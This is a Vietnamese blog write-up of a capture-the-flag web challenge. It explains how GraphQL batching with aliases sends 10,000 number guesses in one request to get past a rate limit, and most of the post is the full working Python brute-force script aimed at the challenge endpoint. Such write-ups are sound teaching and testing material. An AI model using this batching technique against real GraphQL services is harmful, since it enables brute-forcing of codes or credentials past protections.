Skip to main content

Command Palette

Search for a command to run...

Hướng dẫn thử thách operation overflow

Published
2 min read

Suy nghĩ ban đầu

Vì thử thách đã bị khóa lại sau khi kết thúc nên bài viết này sẽ cố gắng miêu tả lại hướng đi suy nghĩ đến script cuối cùng. Về cơ bản đây là trang web yêu cầu nhập 1 con số trong khoảng 1 đến 100000 và có rate limit. Dạng bài như này thì mình sẽ cố gắng tìm cách brute force và bypass được rate limit. Nhưng có vẻ rate limit được thực hiện khá tốt. Sau 1 thời gian tìm kiếm cũng như theo kinh nghiệm, tìm được 1 dạng tấn công trong graphql là GraphQL Batching Attacks. Về cơ bản đây là loại tấn công cho phép gửi nhiều queries trong chỉ duy nhất một http requests, rất phù hợp cho bypass rate limit (vì chỉ cần gửi 10000 queries trong 1 lần và tối đa 10 lần gửi là sẽ có flag).

Triển khai ý tưởng

Từ ý tưởng đó cùng với việc nhờ chatgpt sinh code và điều chỉnh cho phù hợp với bài thì đây là script chạy tự động.

import requests
import time

URL = "https://abfb9883.bsidesmumbai.in/graphql"

HEADERS = {
    "Content-Type": "application/json",
    "Origin": "https://abfb9883.bsidesmumbai.in",
    "Referer": "https://abfb9883.bsidesmumbai.in/",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Cookie": "cf_clearance=...; connect.sid=..."  # <-- Dán cookie thật ở đây
}

BATCH_SIZE = 10000  # Số lượng guess mỗi batch
START = 1
END = 100000


def make_query(start, count):
    aliases = []
    for i in range(count):
        number = start + i
        alias = f"n{number}"
        aliases.append(
            f'{alias}: guessNumber(number: {number}) {{ correct message flag }}'
        )
    return "query { " + "\n".join(aliases) + " }"


def main():
    for i in range(START, END + 1, BATCH_SIZE):
        count = min(BATCH_SIZE, END - i + 1)
        query = make_query(i, count)

        try:
            response = requests.post(URL, headers=HEADERS, json={"query": query})
            data = response.json()

            if "data" in data:
                for key, val in data["data"].items():
                    if val and (val.get("correct") is True or val.get("message") != "Incorrect guess."):
                        print(f"[✅] Found! Number: {key[1:]} | Flag: {val.get('flag')}")
                        return  # Dừng lại khi tìm được flag
            else:
                print(f"[⚠️] Response lỗi hoặc rate-limit tại batch {i} - {i + count - 1}: {data}")

        except Exception as e:
            print(f"[❌] Exception tại batch {i} - {i + count - 1}: {e}")

        time.sleep(10)  # Tránh bị rate-limit hoặc block

    print("[❌] Không tìm thấy flag trong khoảng đoán.")


if __name__ == "__main__":
    main()